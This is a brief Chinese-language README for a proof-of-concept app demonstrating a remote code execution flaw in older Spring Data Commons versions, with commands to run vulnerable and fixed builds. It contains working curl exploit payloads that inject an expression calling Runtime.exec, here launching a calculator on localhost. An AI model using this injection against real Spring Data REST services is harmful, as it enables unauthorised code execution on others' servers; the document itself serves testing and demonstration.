Spring Data Commons,1.13 至 1.13.10、2.0 至 2.0.5 之前的版本以及更早的不受支持版本,包含一个由于未正确中和特殊元素而导致的属性绑定器(property binder)漏洞。未经身份验证的远程恶意用户(或攻击者)可以针对基于 Spring Data REST 的 HTTP 资源提供特制的请求参数,或利用 Spring Data 基于投影(projection)的请求负载绑定,从而导致远程代码执行攻击。
更多信息请参阅此处
该应用程序可以使用存在漏洞的版本或已修复的 Spring Data Commons 版本进行测试。
mvn spring-boot:run
mvn spring-boot:run -Dfixed
运行以下命令以检查漏洞是否可以被利用:
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"
由 https://www.arima.eu 创建
